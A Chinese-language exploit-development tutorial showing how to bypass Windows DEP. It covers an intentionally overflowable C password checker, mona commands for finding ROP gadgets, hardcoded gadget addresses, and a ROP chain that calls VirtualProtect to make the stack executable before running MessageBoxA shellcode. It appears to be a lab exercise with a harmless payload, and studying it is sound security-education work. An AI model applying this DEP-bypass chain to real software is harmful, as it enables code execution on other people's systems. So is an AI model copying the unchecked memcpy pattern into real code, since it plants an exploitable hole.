概述

DEP原理

DEP - 数据执行保护的缩写,Data Execution Prevention。

DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不同可分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。

绕过DEP原理

所以以下绕过DEP的原理就是让栈空间的shellcode能够执行

目标程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <Windows.h>
#include <stdio.h>


#define PASSWORD "15PB"
int VerifyPassword(char* pszPassword, int nSize)
{
char szBuffer[20] = { 0 };
memcpy(szBuffer, pszPassword, nSize);
return strcmp(PASSWORD, szBuffer);
}

int main()
{
int nFlag = 0;
char szPassword[0x200] = { 0 };
FILE* pFile;
LoadLibraryA("user32.dll");
if (NULL == (pFile = fopen("password.txt", "rb")))
{
MessageBoxA(NULL, "文件打开失败", "error", NULL);
exit(0);
}

fseek(pFile, 0, SEEK_END);//将文件指针指向结尾
int nFileSize = ftell(pFile);//返回文件的偏移量(文件大小)
rewind(pFile); //重新指向文件的开头
fread(szPassword, nFileSize, 1, pFile);
nFlag = VerifyPassword(szPassword, nFileSize);
if (nFlag)printf("密码错误\n");
else printf("密码正确\n");
fclose(pFile);
system("pause");
return 0;
}

目标文件

超过20个字节的password.txt文件

1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

找到到溢出点

找到rap链

1
2
3
4
5
!py mona fw -s "pop esi # ret" -m  "kernel32.dll"

!py mona fw -s "pop esi # ret" -m "kernel32.dll,ntdll.dll"

!py mona fw -s "pop esi #*# ret" -m "kernel32.dll" (找不到使用这个方式三个指令的)

使用以上方法找出需要的指令

0x77d55399 pop edi#ret

0x776a8cd6 pop esi#ret

0x7768001d pop ebp#ret

0x776ad95f pop ebx#ret

0x776d7bca pop edx#ret

0x77dd73a2 pop ecx#ret

0x77689b4c pop eax#ret

0x77661069 pushad#ret

使用VirtualProtect

函数原型

1
2
3
4
5
6
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

找到VirtualProtect 基址

0x776A2341

构造二进制代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"\x99\x53\xD5\x77"\					//pop edi#ret
"\x9F\x54\xD5\x77"\ //ret
"\xD6\x8C\x6A\x77"\ //pop esi#ret |esi保存VirtualProtect基址
"\x41\x23\x6A\x77"\ //VirtualProtect |
"\x1D\x00\x68\x77"\ //pop ebp#ret |ebp保存需要更改内存属性的地址
"\x58\xFD\x12\x00"\ //lpAddress | -》就是shellcode的起始地址
"\x5f\xd9\x6a\x77"\ //pop ebx#ret |ebx保存被修改的大小
"\x01\x00\x00\x00"\ //dwSize |1
"\xCA\x7B\x6D\x77"\ //pop edx#ret |edx保存执行权限
"\x40\x00\x00\x00"\ //读写可执行 |没有旧属性,执行成功了(最好加上)
"\x4c\x9B\x68\x77"\ //pop eax#ret |eax保存opcode指令4个nop
"\x90\x90\x90\x90"\ //nop |
"\x80\xe1\x68\x77"\ //pushad#ret |将通用寄存器一次压入栈中
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xE8\xA8\xEC\x84\x77"//call MessageboxA(通过x32二进制提取)

测试代码

单步以此执行

ret VirtualProtect

进入VirtualProtect函数,修改0012FD58 属性为可读可写可执行

弹出窗口,成功绕过DEP(数据执行保护)